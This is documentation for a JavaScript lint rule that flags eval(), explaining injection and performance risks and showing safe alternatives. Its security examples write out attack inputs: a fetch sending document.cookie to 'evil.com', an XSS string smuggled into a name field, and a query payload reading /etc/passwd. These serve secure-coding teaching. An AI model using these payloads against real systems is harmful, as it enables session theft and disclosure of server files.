no-eval
JavaScript’s eval() function is potentially dangerous and often misused. It can open programs to injection attacks and is slow.
Rule Type: Suggestion
Fixable: No
Why This Rule Exists
- Security:
eval() on untrusted input can execute malicious code
- Performance: Code in
eval() can’t be optimized
- Debugging: Harder to debug code in
eval()
- Better alternatives: Almost always unnecessary
Rule Details
This rule warns whenever eval() is used.
Examples
Incorrect Code
const obj = { x: "foo" };
const key = "x";
const value = eval("obj." + key);
(0, eval)("const a = 0");
const foo = eval;
foo("const a = 0");
this.eval("const a = 0");
window.eval("const a = 0");
global.eval("const a = 0");
Correct Code
const obj = { x: "foo" };
const key = "x";
const value = obj[key];
class A {
foo() {
// This is a user-defined method, not global eval
this.eval("const a = 0");
}
eval() {}
}
Why eval() Is Dangerous
Code Injection
eval() with user input can execute arbitrary code.
// DANGEROUS!
function calculate(userInput) {
return eval(userInput);
}
// User types: "fetch('evil.com?data=' + document.cookie)"
calculate(userInput); // Sends cookies to attacker!
// Slow: Can't be optimized
for (let i = 0; i < 1000; i++) {
eval('doSomething()');
}
// Fast: Can be optimized
for (let i = 0; i < 1000; i++) {
doSomething();
}
Common Use Cases and Alternatives
Dynamic Property Access
// Wrong
const value = eval("obj." + propName);
// Right
const value = obj[propName];
JSON Parsing
// Wrong (and dangerous!)
const data = eval("(" + jsonString + ")");
// Right
const data = JSON.parse(jsonString);
Dynamic Code Generation
// Wrong
const fn = eval("(function(x) { return x * 2; })");
// Right
const fn = new Function('x', 'return x * 2');
// Or better: just write the function
const fn = (x) => x * 2;
Template Strings
// Wrong
const result = eval(`${a} + ${b}`);
// Right
const result = a + b;
Computed Property Names
// Wrong
eval(`obj.${dynamicProp} = value`);
// Right
obj[dynamicProp] = value;
Configuration Objects
// Wrong - evaluating config
const config = eval(configString);
// Right - parse as JSON
const config = JSON.parse(configString);
// Or use a safe parser
import yaml from 'js-yaml';
const config = yaml.load(configString);
Safe Alternatives
Sandboxed Evaluation
If you must evaluate code, use a sandbox:
import { VM } from 'vm2';
const vm = new VM({
timeout: 1000,
sandbox: {
allowedFunction: () => 'safe'
}
});
const result = vm.run(untrustedCode);
Expression Evaluators
import { evaluate } from 'mathjs';
// Safe math expression evaluation
const result = evaluate('2 * 3 + 4'); // 10
Template Engines
// Instead of eval for templating
const template = "Hello ${name}";
const result = eval("`" + template + "`");
// Use a template library
import Handlebars from 'handlebars';
const template = Handlebars.compile("Hello {{name}}");
const result = template({ name: 'World' });
Options
allowIndirect
Type: boolean
Default: false
Allow indirect calls to eval() (less dangerous than direct calls).
{
"rules": {
"no-eval": ["error", { "allowIndirect": true }]
}
}
With allowIndirect: true
// Still incorrect: direct eval
eval("const a = 0");
// Now allowed: indirect eval
(0, eval)("const a = 0");
const foo = eval;
foo("const a = 0");
window.eval("const a = 0");
Indirect eval is slightly less dangerous because it runs in global scope, not local scope.
Security Examples
XSS Attack
// Vulnerable
function displayUserName(name) {
eval(`document.title = "Hello ${name}"`);
}
// Attacker provides: "; alert('XSS'); //
// Results in: eval("document.title = \"Hello \"; alert('XSS'); //\"");
// Safe
function displayUserName(name) {
document.title = `Hello ${name}`;
}
Data Theft
// Vulnerable
app.get('/calculate', (req, res) => {
const result = eval(req.query.expression);
res.json({ result });
});
// Attacker requests: /calculate?expression=require('fs').readFileSync('/etc/passwd')
// Safe
import { evaluate } from 'safe-eval-library';
app.get('/calculate', (req, res) => {
const result = evaluate(req.query.expression);
res.json({ result });
});
When Not to Use It
Rarely appropriate to disable this rule. Consider it only if:
- You’re building a code evaluation tool (IDE, REPL)
- You have strict input validation and sandboxing
- You’re using eval in a build tool (not runtime)
Even then, look for safer alternatives first.
Temporary Disable
If absolutely necessary:
/* eslint-disable no-eval */
const result = eval(trustedCode);
/* eslint-enable no-eval */
But add a comment explaining why it’s necessary and safe.
Further Reading